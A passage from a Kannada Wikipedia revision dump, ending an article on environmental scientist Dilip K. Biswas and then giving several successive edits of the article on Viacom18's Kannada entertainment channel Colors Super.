book|url=https://books.google.com/books?id=iHvZiVYXC10C&q=Dilip+K.+Biswas&pg=PP4|title=Implementation of the Clean Development Mechanism in Asia and the Pacific: Issues, Challenges, and Opportunities|last=Dilip K. Biswas|publisher=United Nations Publications|year=2003|isbn=9789211203844|pages=36}}</ref> ಭಾರತದ [[ಉತ್ತರ ಪ್ರದೇಶ|ಉತ್ತರ ಪ್ರದೇಶದ]] ರಾಜಧಾನಿಯಾದ [[ಲಕ್ನೋ|ಲಕ್ನೋದಲ್ಲಿ]] ಪರಿಸರ ನಿರ್ವಹಣಾ ಕಾನೂನುಗಳ ಕರಡು ರಚನೆಯ ಹಿಂದೆ ಅವರ ಕೊಡುಗೆ ಇದೆ.<ref name="A Report on State of Environment Lucknow">{{Cite web|url=http://www.cpcb.nic.in/upload/Publications/Publication_31_sec1_52.pdf|title=A Report on State of Environment Lucknow|date=2016|publisher=Central Pollution Control Board|access-date=14 January 2016}}</ref> ಭಾರತ ಸರ್ಕಾರವು ಅವರಿಗೆ ವಿಜ್ಞಾನ ಮತ್ತು ತಂತ್ರಜ್ಞಾನಕ್ಕೆ ನೀಡಿದ ಕೊಡುಗೆಗಳಿಗಾಗಿ ೨೦೦೭ ರಲ್ಲಿ ದೇಶದ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ನಾಗರಿಕ ಗೌರವವಾದ [[ಪದ್ಮಶ್ರೀ|ಪದ್ಮಶ್ರೀಯ]]ನ್ನು ನೀಡಿ ಪುರಸ್ಕರಿಸಿತು. <ref name="Padma Awards">{{Cite web|url=http://mha.nic.in/sites/upload_files/mha/files/LST-PDAWD-2013.pdf|title=Padma Awards|date=2016|publisher=Ministry of Home Affairs, Government of India|archive-url=https://web.archive.org/web/20151015193758/http://mha.nic.in/sites/upload_files/mha/files/LST-PDAWD-2013.pdf|archive-date=15 October 2015|access-date=3 January 2016}}</ref> == ಸಹ ನೋಡಿ == * [[ಕ್ಯೋಟೋ ಶಿಷ್ಟಾಚಾರ|ಕ್ಯೋಟೋ ಪ್ರೋಟೋಕಾಲ್]] == ಉಲ್ಲೇಖಗಳು == {{Reflist|30em}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * {{Cite book|url=https://books.google.com/books?id=8PjBzy4cnF8C&q=Dilip+K.+Biswas&pg=PA2|title=A Guidebook for Local Catchment Management in Cities|last=Prof. Mwara (author), Dilip K Biswas (editor)|publisher=UN-HABITAT|year=2005|isbn=9789211317572|pages=107}} [[ವರ್ಗ:ಜೀವಂತ ವ್ಯಕ್ತಿಗಳು]] 1rvyhopghasusda05lu7igq0quh1w4d ಕಲರ್ಸ್ ಸೂಪರ್ 0 144849 1116581 2022-08-24T07:39:59Z Ishqyk 76644 "[[:en:Special:Redirect/revision/1095171089|Colors Super]]" ಪುಟವನ್ನು ಅನುವಾದಿಸುವುದರಿಂದ ಸೃಷ್ಟಿಸಲಾಯಿತು wikitext text/x-wiki {{Infobox television channel|name=Colors Super|logo=Colors-super-tv-channel-logo.jpg|logo_size=175px|logo_alt=|owner=[[Viacom18]]|logo_caption="Hosa Channel; Super Channel"|picture_format=[[576i]] ([[SDTV]])|headquarters=[[Bengaluru]], [[Karnataka]], [[India]]|country=[[India]]|language=[[Kannada]]|area=India|sister_channels={{Collapsible list | list_style = text-align:left; | 1 = <br />[[Colors Kannada]]<br />[[Colors Kannada Cinema]]<br />[[Colors TV]]<br />[[Colors Cineplex]]<br />[[Colors Cineplex Bollywood]]<br /> [[Rishtey Cineplex]]<br />[[MTV India|MTV]]<br />[[MTV Indies]]<br />[[VH1 India|VH1]]<br />[[Comedy Central (India)|Comedy Central]]<br /> [[Colors Marathi]]<br />[[Colors Gujarati]]<br /> [[Colors Gujarati Cinema]]<br /> [[Colors Bangla]]<br /> [[Colors Bangla Cinema]]<br /> [[Colors Rishtey]]<br /> [[Colors Odia]]<br />[[News18 Urdu]]<br />[[News18 India]]<br />[[News18 Bihar-Jharkhand]]<br />[[News18 Bangla]]<br />[[Nickelodeon India|Nick]]<br />[[Nick Jr India|Nick Jr]]<br />[[Teen Nick India|Teen Nick]]<br />[[Sonic-Nickelodeon]]<br />[[CNN-News18]]<br />[[Colors Infinity]]<br />[[Colors Tamil]] }}|launch_date={{Launch date and age|2016|7|24}}|website={{Official website|http://colorssuper.co.in/}}}} '''ಕಲರ್ಸ್ ಸೂಪರ್''' ಭಾರತೀಯ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್ ಆಗಿದ್ದು, ವಿಯಾಕಾಮ್ 18 ಒಡೆತನದಲ್ಲಿದೆ, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ]] ಭಾಷೆಯ ಮನರಂಜನಾ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. Viacom 18 <ref>{{Cite web|url=http://bestmediainfo.com/2016/07/viacom18-launches-second-channel-in-kannada-market-colors-super/|title=Viacom18 launches second channel in Kannada market - Colors Super|website=www.bestmediaifo.com|access-date=2017-10-18}}</ref> ಪ್ರಾಥಮಿಕ ಕನ್ನಡ ಮನರಂಜನಾ ಚಾನೆಲ್ ಕಲರ್ಸ್ ಕನ್ನಡದ ಯಶಸ್ಸಿನ ನಂತರ ಈ ಚಾನಲ್ ಅನ್ನು 24 ಜುಲೈ 2016 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು.mdmdmd s s s ssbsnsnsnsns snenenswj s se ejsns s sn snwnsmsmsnssnmsns s snensns == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Facebook|ColorsSuper}} == ಉಲ್ಲೇಖಗಳು == {{Reflist}} rlkfj2osxx0cje7jc7w7cvhn2qsoqm3 1116582 1116581 2022-08-24T07:41:21Z Ishqyk 76644 wikitext text/x-wiki '''ಕಲರ್ಸ್ ಸೂಪರ್''' ಭಾರತೀಯ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್ ಆಗಿದ್ದು, ವಿಯಾಕಾಮ್ 18 ಒಡೆತನದಲ್ಲಿದೆ, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ]] ಭಾಷೆಯ ಮನರಂಜನಾ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. Viacom 18 <ref>{{Cite web|url=http://bestmediainfo.com/2016/07/viacom18-launches-second-channel-in-kannada-market-colors-super/|title=Viacom18 launches second channel in Kannada market - Colors Super|website=www.bestmediaifo.com|access-date=2017-10-18}}</ref> ಪ್ರಾಥಮಿಕ ಕನ್ನಡ ಮನರಂಜನಾ ಚಾನೆಲ್ ಕಲರ್ಸ್ ಕನ್ನಡದ ಯಶಸ್ಸಿನ ನಂತರ ಈ ಚಾನಲ್ ಅನ್ನು 24 ಜುಲೈ 2016 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು. == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Facebook|ColorsSuper}} == ಉಲ್ಲೇಖಗಳು == {{Reflist}} 63fra7j5wmfurwire5yglus8p690cir 1116583 1116582 2022-08-24T07:50:41Z Ishqyk 76644 wikitext text/x-wiki '''ಕಲರ್ಸ್ ಸೂಪರ್''' ಭಾರತೀಯ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್ ಆಗಿದ್ದು, ವಿಯಾಕಾಮ್ 18 ಒಡೆತನದಲ್ಲಿದೆ, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ]] ಭಾಷೆಯ ಮನರಂಜನಾ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. Viacom 18 <ref>{{Cite web|url=http://bestmediainfo.com/2016/07/viacom18-launches-second-channel-in-kannada-market-colors-super/|title=Viacom18 launches second channel in Kannada market - Colors Super|website=www.bestmediaifo.com|access-date=2017-10-18}}</ref> ಪ್ರಾಥಮಿಕ ಕನ್ನಡ ಮನರಂಜನಾ ಚಾನೆಲ್ ಕಲರ್ಸ್ ಕನ್ನಡದ ಯಶಸ್ಸಿನ ನಂತರ ಈ ಚಾನಲ್ ಅನ್ನು 24 ಜುಲೈ 2016 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು. {{Infobox television channel | name = Colors Super | logo = Colors-super-tv-channel-logo.jpg | logo_size = 175px | logo_alt = | owner = [[Viacom18]] | logo_caption = "Hosa Channel; Super Channel" | picture_format = [[576i]] ([[SDTV]]) | headquarters = [[Bengaluru]], [[Karnataka]], [[India]] | country = [[India]] | language = [[Kannada]] | area = India | sister_channels = {{Collapsible list | list_style = text-align:left; | 1 = <br />[[Colors Kannada]]<br />[[Colors Kannada Cinema]]<br />[[Colors TV]]<br />[[Colors Cineplex]]<br />[[Colors Cineplex Bollywood]]<br /> [[Rishtey Cineplex]]<br />[[MTV India|MTV]]<br />[[MTV Indies]]<br />[[VH1 India|VH1]]<br />[[Comedy Central (India)|Comedy Central]]<br /> [[Colors Marathi]]<br />[[Colors Gujarati]]<br /> [[Colors Gujarati Cinema]]<br /> [[Colors Bangla]]<br /> [[Colors Bangla Cinema]]<br /> [[Colors Rishtey]]<br /> [[Colors Odia]]<br />[[News18 Urdu]]<br />[[News18 India]]<br />[[News18 Bihar-Jharkhand]]<br />[[News18 Bangla]]<br />[[Nickelodeon India|Nick]]<br />[[Nick Jr India|Nick Jr]]<br />[[Teen Nick India|Teen Nick]]<br />[[Sonic-Nickelodeon]]<br />[[CNN-News18]]<br />[[Colors Infinity]]<br />[[Colors Tamil]] }} | launch_date = {{Launch date and age|2016|7|24}} | website = {{Official website|http://colorssuper.co.in/}} }} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Facebook|ColorsSuper}} == ಉಲ್ಲೇಖಗಳು == {{Reflist}} 4euyom2cmtn5nc9jnsko9y2uyuj38az 1116584 1116583 2022-08-24T07:56:48Z Ishqyk 76644 wikitext text/x-wiki '''ಕಲರ್ಸ್ ಸೂಪರ್''' ಭಾರತೀಯ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್ ಆಗಿದ್ದು, ವಿಯಾಕಾಮ್ 18 ಒಡೆತನದಲ್ಲಿದೆ, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ]] ಭಾಷೆಯ ಮನರಂಜನಾ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. Viacom 18 <ref>{{Cite web|url=http://bestmediainfo.com/2016/07/viacom18-launches-second-channel-in-kannada-market-colors-super/|title=Viacom18 launches second channel in Kannada market - Colors Super|website=www.bestmediaifo.com|access-date=2017-10-18}}</ref> ಪ್ರಾಥಮಿಕ ಕನ್ನಡ ಮನರಂಜನಾ ಚಾನೆಲ್ ಕಲರ್ಸ್ ಕನ್ನಡದ ಯಶಸ್ಸಿನ ನಂತರ ಈ ಚಾನಲ್ ಅನ್ನು 24 ಜುಲೈ 2016 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು. {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ | name = ಕಲರ್ಸ್ ಸೂಪರ್ | logo = | logo_size = | logo_alt = | owner = [[ವಿಯಾಕಾಂ 18]] | logo_caption = | picture_format = | headquarters = [[ಬೆಂಗಳೂರು]], [[ಕರ್ನಾಟಕ]], [[ಭಾರತ]] | country = [[ಭಾರತ]] | language = [[ಕನ್ನಡ]] | area = | sister_channels = | launch_date = | website = |broadcast area=ಭಾರತ|launch=24 ಜುಲೈ 2016|slogan="ಹೊಸ ಚಾನೆಲ್; ಸೂಪರ್ ಚಾನೆಲ್"|logofile=|picture format=576ಐ (ಎಸ್ಡಿ ಟಿವಿ)|web={{Official website|http://colorssuper.co.in/}}}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Facebook|ColorsSuper}} == ಉಲ್ಲೇಖಗಳು == {{Reflist}} hkk4vp6kjcq88gs55yv2z9znck506a3 1116585 1116584 2022-08-24T07:58:05Z Ishqyk 76644 wikitext text/x-wiki '''ಕಲರ್ಸ್ ಸೂಪರ್''' ಭಾರತೀಯ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್ ಆಗಿದ್ದು, ವಿಯಾಕಾಂ 18 ಒಡೆತನದಲ್ಲಿದೆ, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ]] ಭಾಷೆಯ ಮನರಂಜನಾ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. [[ವಿಯಾಕಾಂ 18]] <ref>{{Cite web|url=http://bestmediainfo.com/2016/07/viacom18-launches-second-channel-in-kannada-market-colors-super/|title=Viacom18 launches second channel in Kannada market - Colors Super|website=www.bestmediaifo.com|access-date=2017-10-18}}</ref> ಪ್ರಾಥಮಿಕ ಕನ್ನಡ ಮನರಂಜನಾ ಚಾನೆಲ್ [[ಕಲರ್ಸ್ ಕನ್ನಡ|ಕಲರ್ಸ್ ಕನ್ನಡದ]] ಯಶಸ್ಸಿನ ನಂತರ ಈ ಚಾನಲ್ ಅನ್ನು 24 ಜುಲೈ 2016 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು. {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ | name = ಕಲರ್ಸ್ ಸೂಪರ್ | logo = | logo_size = | logo_alt = | owner = [[ವಿಯಾಕಾಂ 18]] | logo_caption = | picture_format = | headquarters = [[ಬೆಂಗಳೂರು]], [[ಕರ್ನಾಟಕ]], [[ಭಾರತ]] | country = [[ಭಾರತ]] | language = [[ಕನ್ನಡ]] | area = | sister_channels = | launch_date = | website = |broadcast area=ಭಾರತ|launch=24 ಜುಲೈ 2016|slogan="ಹೊಸ ಚಾನೆಲ್; ಸೂಪರ್ ಚಾನೆಲ್"|logofile=|picture format=576ಐ (ಎಸ್ಡಿ ಟಿವಿ)|web={{Official website|http://colorssuper.co.in/}}}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Facebook|ColorsSuper}} == ಉಲ್ಲೇಖಗಳು == {{Reflist}} 616d1g7mdhbpbgi0lvzbzcqha6qiphy 1116590 1116585 2022-08-24T08:07:43Z Ishqyk 76644 wikitext text/x-wiki '''ಕಲರ್ಸ್ ಸೂಪರ್''' ಭಾರತೀಯ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್ ಆಗಿದ್ದು, ವಿಯಾಕಾಂ 18 ಒಡೆತನದಲ್ಲಿದೆ, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ]] ಭಾಷೆಯ ಮನರಂಜನಾ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. [[ವಿಯಾಕಾಂ 18]] <ref>{{Cite web|url=http://bestmediainfo.com/2016/07/viacom18-launches-second-channel-in-kannada-market-colors-super/|title=Viacom18 launches second channel in Kannada market - Colors Super|website=www.bestmediaifo.com|access-date=2017-10-18}}</ref> ಪ್ರಾಥಮಿಕ ಕನ್ನಡ ಮನರಂಜನಾ ಚಾನೆಲ್ [[ಕಲರ್ಸ್ ಕನ್ನಡ|ಕಲರ್ಸ್ ಕನ್ನಡದ]] ಯಶಸ್ಸಿನ ನಂತರ ಈ ಚಾನಲ್ ಅನ್ನು 24 ಜುಲೈ 2016 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು. {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ | name = ಕಲರ್ಸ್ ಸೂಪರ್ | logo = | logo_size = | logo_alt = | owner = [[ವಿಯಾಕಾಂ 18]] | logo_caption = | picture_format = | headquarters = [[ಬೆಂಗಳೂರು]], [[ಕರ್ನಾಟಕ]], [[ಭಾರತ]] | country = [[ಭಾರತ]] | language = [[ಕನ್ನಡ]] | area = | sister_channels = | launch_date = | website = |broadcast area=ಭಾರತ|launch=24 ಜುಲೈ 2016|slogan="ಹೊಸ ಚಾನೆಲ್; ಸೂಪರ್ ಚಾನೆಲ್"|logofile=|picture format=576ಐ (ಎಸ್ಡಿ ಟಿವಿ)|web={{Official website|http://colorssuper.co.in/}}|sister names=[[ಕಲರ್ಸ್ ಕನ್ನಡ]]<br />[[ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನೆಮಾ]]<br />[[ನ್ಯೂಸ್ 18 ಕನ್ನಡ]] <br/>ಕಲರ್ಸ್ ಟಿವಿ <br/> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ <br />ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಬಾಲಿವುಡ್ <br /> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಸೂಪರ್ಹಿಟ್ಸ್ <br />ಎಂ ಟಿವಿ <br/> ಎಂಟಿವಿ ಇಂಡೀಸ್<br /> ವಿಹೆಚ್ 1<br />ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್<br /> ಕಲರ್ಸ್ ಮರಾಠಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ<br /> ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ರಿಷ್ಟೆ<br /> ಕಲರ್ಸ್ ಒಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಉರ್ದು<br />ನ್ಯೂಸ್ 18 ಇಂಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಬಿಹಾರ-ಜಾರ್ಖಂಡ್<br />ನ್ಯೂಸ್ 18 ಬಾಂಗ್ಲಾ<br />ನಿಕ್ <br /> ನಿಕ್ ಜೂನಿಯರ್<br />ಟೀನ್ ನಿಕ್<br />ಸೋನಿಕ್-ನಿಕಲೋಡಿಯನ್<br />ಸಿಎನ್ಎನ್-ನ್ಯೂಸ್18<br />ಕಲರ್ಸ್ ಇನ್ಫಿನಿಟಿ <br />ಕಲರ್ಸ್ ತಮಿಳು <nowiki>}}}}</nowiki>}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Facebook|ColorsSuper}} == ಉಲ್ಲೇಖಗಳು == {{Reflist}} hrio99g5o2isaxvn6zvyrsiaqqxee48 1116591 1116590 2022-08-24T08:08:14Z Ishqyk 76644 /* ಉಲ್ಲೇಖಗಳು */ wikitext text/x-wiki '''ಕಲರ್ಸ್ ಸೂಪರ್''' ಭಾರತೀಯ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್ ಆಗಿದ್ದು, ವಿಯಾಕಾಂ 18 ಒಡೆತನದಲ್ಲಿದೆ, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ]] ಭಾಷೆಯ ಮನರಂಜನಾ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. [[ವಿಯಾಕಾಂ 18]] <ref>{{Cite web|url=http://bestmediainfo.com/2016/07/viacom18-launches-second-channel-in-kannada-market-colors-super/|title=Viacom18 launches second channel in Kannada market - Colors Super|website=www.bestmediaifo.com|access-date=2017-10-18}}</ref> ಪ್ರಾಥಮಿಕ ಕನ್ನಡ ಮನರಂಜನಾ ಚಾನೆಲ್ [[ಕಲರ್ಸ್ ಕನ್ನಡ|ಕಲರ್ಸ್ ಕನ್ನಡದ]] ಯಶಸ್ಸಿನ ನಂತರ ಈ ಚಾನಲ್ ಅನ್ನು 24 ಜುಲೈ 2016 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು. {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ | name = ಕಲರ್ಸ್ ಸೂಪರ್ | logo = | logo_size = | logo_alt = | owner = [[ವಿಯಾಕಾಂ 18]] | logo_caption = | picture_format = | headquarters = [[ಬೆಂಗಳೂರು]], [[ಕರ್ನಾಟಕ]], [[ಭಾರತ]] | country = [[ಭಾರತ]] | language = [[ಕನ್ನಡ]] | area = | sister_channels = | launch_date = | website = |broadcast area=ಭಾರತ|launch=24 ಜುಲೈ 2016|slogan="ಹೊಸ ಚಾನೆಲ್; ಸೂಪರ್ ಚಾನೆಲ್"|logofile=|picture format=576ಐ (ಎಸ್ಡಿ ಟಿವಿ)|web={{Official website|http://colorssuper.co.in/}}|sister names=[[ಕಲರ್ಸ್ ಕನ್ನಡ]]<br />[[ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನೆಮಾ]]<br />[[ನ್ಯೂಸ್ 18 ಕನ್ನಡ]] <br/>ಕಲರ್ಸ್ ಟಿವಿ <br/> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ <br />ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಬಾಲಿವುಡ್ <br /> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಸೂಪರ್ಹಿಟ್ಸ್ <br />ಎಂ ಟಿವಿ <br/> ಎಂಟಿವಿ ಇಂಡೀಸ್<br /> ವಿಹೆಚ್ 1<br />ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್<br /> ಕಲರ್ಸ್ ಮರಾಠಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ<br /> ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ರಿಷ್ಟೆ<br /> ಕಲರ್ಸ್ ಒಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಉರ್ದು<br />ನ್ಯೂಸ್ 18 ಇಂಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಬಿಹಾರ-ಜಾರ್ಖಂಡ್<br />ನ್ಯೂಸ್ 18 ಬಾಂಗ್ಲಾ<br />ನಿಕ್ <br /> ನಿಕ್ ಜೂನಿಯರ್<br />ಟೀನ್ ನಿಕ್<br />ಸೋನಿಕ್-ನಿಕಲೋಡಿಯನ್<br />ಸಿಎನ್ಎನ್-ನ್ಯೂಸ್18<br />ಕಲರ್ಸ್ ಇನ್ಫಿನಿಟಿ <br />ಕಲರ್ಸ್ ತಮಿಳು <nowiki>}}}}</nowiki>}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Facebook|ColorsSuper}} == ಉಲ್ಲೇಖಗಳು == {{Reflist}} [[ವರ್ಗ:ವಿಯಾಕಾಂ 18 ಒಡೆತನದ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] 8ucclujgh0siubm2jq9hnetn38t0pr4 1116603 1116591 2022-08-24T09:20:33Z Ishqyk 76644 wikitext text/x-wiki '''ಕಲರ್ಸ್ ಸೂಪರ್''' ಭಾರತೀಯ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್ ಆಗಿದ್ದು, ವಿಯಾಕಾಂ 18 ಒಡೆತನದಲ್ಲಿದೆ, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ]] ಭಾಷೆಯ ಮನರಂಜನಾ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. [[ವಿಯಾಕಾಂ 18]] <ref>{{Cite web|url=http://bestmediainfo.com/2016/07/viacom18-launches-second-channel-in-kannada-market-colors-super/|title=Viacom18 launches second channel in Kannada market - Colors Super|website=www.bestmediaifo.com|access-date=2017-10-18}}</ref> ಪ್ರಾಥಮಿಕ ಕನ್ನಡ ಮನರಂಜನಾ ಚಾನೆಲ್ [[ಕಲರ್ಸ್ ಕನ್ನಡ|ಕಲರ್ಸ್ ಕನ್ನಡದ]] ಯಶಸ್ಸಿನ ನಂತರ ಈ ಚಾನಲ್ ಅನ್ನು 24 ಜುಲೈ 2016 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು. {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ | name = ಕಲರ್ಸ್ ಸೂಪರ್ | logo = | logo_size = | logo_alt = | owner = [[ವಿಯಾಕಾಂ 18]] | logo_caption = | picture_format = | headquarters = [[ಬೆಂಗಳೂರು]], [[ಕರ್ನಾಟಕ]], [[ಭಾರತ]] | country = [[ಭಾರತ]] | language = [[ಕನ್ನಡ]] | area = | sister_channels = | launch_date = | website = |broadcast area=ಭಾರತ|launch=24 ಜುಲೈ 2016|slogan="ಹೊಸ ಚಾನೆಲ್; ಸೂಪರ್ ಚಾನೆಲ್"|logofile=|picture format=576ಐ (ಎಸ್ಡಿ ಟಿವಿ)|web={{Official website|http://colorssuper.co.in/}}|sister names=[[ಕಲರ್ಸ್ ಕನ್ನಡ]]<br />[[ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನೆಮಾ]]<br />[[ನ್ಯೂಸ್ 18 ಕನ್ನಡ]] <br/>ಕಲರ್ಸ್ ಟಿವಿ <br/> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ <br />ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಬಾಲಿವುಡ್ <br /> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಸೂಪರ್ಹಿಟ್ಸ್ <br />ಎಂ ಟಿವಿ <br/> ಎಂಟಿವಿ ಇಂಡೀಸ್<br /> ವಿಹೆಚ್ 1<br />ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್<br /> ಕಲರ್ಸ್ ಮರಾಠಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ<br /> ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ರಿಷ್ಟೆ<br /> ಕಲರ್ಸ್ ಒಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಉರ್ದು<br />ನ್ಯೂಸ್ 18 ಇಂಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಬಿಹಾರ-ಜಾರ್ಖಂಡ್<br />ನ್ಯೂಸ್ 18 ಬಾಂಗ್ಲಾ<br />ನಿಕ್ <br /> ನಿಕ್ ಜೂನಿಯರ್<br />ಟೀನ್ ನಿಕ್<br />ಸೋನಿಕ್-ನಿಕಲೋಡಿಯನ್<br />ಸಿಎನ್ಎನ್-ನ್ಯೂಸ್18<br />ಕಲರ್ಸ್ ಇನ್ಫಿನಿಟಿ <br />ಕಲರ್ಸ್ ತಮಿಳು <nowiki>}}}}</nowiki>}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Facebook|ColorsSuper}} == ಉಲ್ಲೇಖಗಳು == {{Reflist}} [[ವರ್ಗ:ವಿಯಾಕಾಂ 18 ಒಡೆತನದ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] [[ವರ್ಗ::ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] hzolf0aopfnqlasetm3ew985byxiuio 1116604 1116603 2022-08-24T09:20:48Z Ishqyk 76644 wikitext text/x-wiki '''ಕಲರ್ಸ್ ಸೂಪರ್''' ಭಾರತೀಯ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್ ಆಗಿದ್ದು, ವಿಯಾಕಾಂ 18 ಒಡೆತನದಲ್ಲಿದೆ, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ]] ಭಾಷೆಯ ಮನರಂಜನಾ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. [[ವಿಯಾಕಾಂ 18]] <ref>{{Cite web|url=http://bestmediainfo.com/2016/07/viacom18-launches-second-channel-in-kannada-market-colors-super/|title=Viacom18 launches second channel in Kannada market - Colors Super|website=www.bestmediaifo.com|access-date=2017-10-18}}</ref> ಪ್ರಾಥಮಿಕ ಕನ್ನಡ ಮನರಂಜನಾ ಚಾನೆಲ್ [[ಕಲರ್ಸ್ ಕನ್ನಡ|ಕಲರ್ಸ್ ಕನ್ನಡದ]] ಯಶಸ್ಸಿನ ನಂತರ ಈ ಚಾನಲ್ ಅನ್ನು 24 ಜುಲೈ 2016 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು. {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ | name = ಕಲರ್ಸ್ ಸೂಪರ್ | logo = | logo_size = | logo_alt = | owner = [[ವಿಯಾಕಾಂ 18]] | logo_caption = | picture_format = | headquarters = [[ಬೆಂಗಳೂರು]], [[ಕರ್ನಾಟಕ]], [[ಭಾರತ]] | country = [[ಭಾರತ]] | language = [[ಕನ್ನಡ]] | area = | sister_channels = | launch_date = | website = |broadcast area=ಭಾರತ|launch=24 ಜುಲೈ 